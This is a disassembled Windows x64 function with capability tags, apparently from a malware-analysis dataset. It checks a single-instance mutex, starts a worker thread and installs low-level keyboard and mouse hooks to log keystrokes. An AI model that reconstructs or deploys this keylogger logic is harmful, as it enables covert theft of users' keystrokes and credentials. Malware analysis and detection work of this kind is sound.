Function at 0x140041d50
Capabilities:
Check mutex on windows
Create thread
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push r15
sub rsp, 0x1d0
mov rax, qword [0x14010e8c0]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
xor r15d, r15d
mov dword [rsp + 0x80], r15d
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
lea r8d, [r15 + 6]
lea rdx, str.device
lea rcx, [rsp + 0x60]
call fcn.140002c80
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], r15
mov qword [rsp + 0xa0], r15
lea r8d, [r15 + 0xa]
lea rdx, str.device.txt
lea rcx, [rsp + 0x88]
call fcn.140002c80
nop
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x88]
call fcn.140014710
nop
mov rdx, qword [rsp + 0xa0]
cmp rdx, 0xf
jbe 0x140041e40
inc rdx
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041e3a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140041e3a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7dfc
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140041e81
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041e7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140041e7b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7dfc
nop
call fcn.140035260
xorps xmm0, xmm0
mov qword [rsp + 0x98], r15
mov qword [rsp + 0xa0], r15
lea rcx, [rsp + 0x88]
movups xmmword [rsp + 0x88], xmm0
test al, al
je 0x14004229c
mov r8d, Ordinal_32
lea rdx, str.DeviceManagement
call fcn.140002c80
nop
mov rcx, qword [0x140116db8]
test rcx, rcx
jne 0x140041f01
cmp qword [0x14010eaf0], rcx
je 0x140041efc
cmp qword [0x14010e9f0], rcx
je 0x140041efc
lea rdx, [0x14010e9e0]
lea rcx, [0x14010eae0]
call fcn.140014710
mov rcx, qword [0x140116db8]
test rcx, rcx
je 0x140041f73
lea rax, [rsp + 0x88]
cmp qword [rsp + 0xa0], 0xf
cmova rax, qword [rsp + 0x88]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x70], xmm0
lea r9, [rsp + 0x30]
mov r8d, 2
lea rdx, [rsp + 0x60]
call fcn.140010270
nop
mov rdx, qword [rsp + 0xa0]
cmp rdx, 0xf
jbe 0x140041fba
inc rdx
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041fb4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140041fb4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7dfc
nop
lea r8, [0x140116c48]
cmp qword [0x140116c60], 0xf
cmova r8, qword [0x140116c48]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140042123
xorps xmm0, xmm0
movups xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], r15
mov qword [rsp + 0xa0], r15
mov r8d, reloc.WLDAP32.dll_Ordinal_22
lea rdx, [0x1400efe30]
lea rcx, [rsp + 0x88]
call fcn.140002c80
nop
mov rcx, qword [0x140116db8]
test rcx, rcx
jne 0x140042062
cmp qword [0x14010eaf0], rcx
je 0x14004205d
cmp qword [0x14010e9f0], rcx
je 0x14004205d
lea rdx, [0x14010e9e0]
lea rcx, [0x14010eae0]
call fcn.140014710
mov rcx, qword [0x140116db8]
test rcx, rcx
je 0x1400420d4
lea rax, [rsp + 0x88]
cmp qword [rsp + 0xa0], 0xf
cmova rax, qword [rsp + 0x88]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x70], xmm0
lea r9, [rsp + 0x30]
mov r8d, 2
lea rdx, [rsp + 0x60]
call fcn.140010270
nop
mov rdx, qword [rsp + 0xa0]
cmp rdx, 0xf
jbe 0x1400423ab
inc rdx
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042119
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140042119
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7dfc
jmp 0x1400423ab
mov ecx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
lea rdx, [rsp + 0xb8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, dword [rsp + 0xb8]
and edx, 0xffffff9f
mov dword [rsp + 0xb8], edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
call fcn.140040ed0
mov ecx, 0x170
call fcn.1400c7dc0
mov rbx, rax
mov qword [rsp + 0x30], rax
xor edx, edx
mov r8d, 0x170
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov rcx, rbx
call fcn.1400428b0
nop
mov qword [0x140116bc0], rax
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140040680]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor r9d, r9d
mov r8, rax
lea rdx, [0x1400405d0]
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov r14, rax
xor r9d, r9d
mov r8, rbx
lea rdx, [0x140040620]
lea ecx, [r9 + 0xe]
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x88]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x140042248
lea rcx, [rsp + 0x88]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x88]
call qword [sym.imp.USER32.dll_DispatchMessageA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x88]
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x140042212
mov rcx, r14
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
test rsi, rsi
je 0x14004225f
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [0x140116bc0]
test rbx, rbx
je 0x140042280
mov rcx, rbx
call fcn.140042ba0
mov edx, 0x170
mov rcx, rbx
call fcn.1400c7dfc
mov qword [0x140116bc0], r15
test rdi, rdi
je 0x140042295
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400423b0
mov r8d, Ordinal_32
lea rdx, str.DeviceManagement_
call fcn.140002c80
nop
mov rcx, qword [0x140116db8]
test rcx, rcx
jne 0x1400422ec
cmp qword [0x14010eaf0], rcx
je 0x1400422e7
cmp qword [0x14010e9f0], rcx
je 0x1400422e7
lea rdx, [0x14010e9e0]
lea rcx, [0x14010eae0]
call fcn.140014710
mov rcx, qword [0x140116db8]
test rcx, rcx
je 0x14004235e
lea rax, [rsp + 0x88]
cmp qword [rsp + 0xa0], 0xf
cmova rax, qword [rsp + 0x88]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x70], xmm0
lea r9, [rsp + 0x30]
mov r8d, 2
lea rdx, [rsp + 0x60]
call fcn.140010270
nop
mov rdx, qword [rsp + 0xa0]
cmp rdx, 0xf
jbe 0x1400423a4
inc rdx
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004239f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004239f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c7dfc
mov eax, 1
jmp 0x1400423b0
mov eax, 1
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.1400c7da0
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret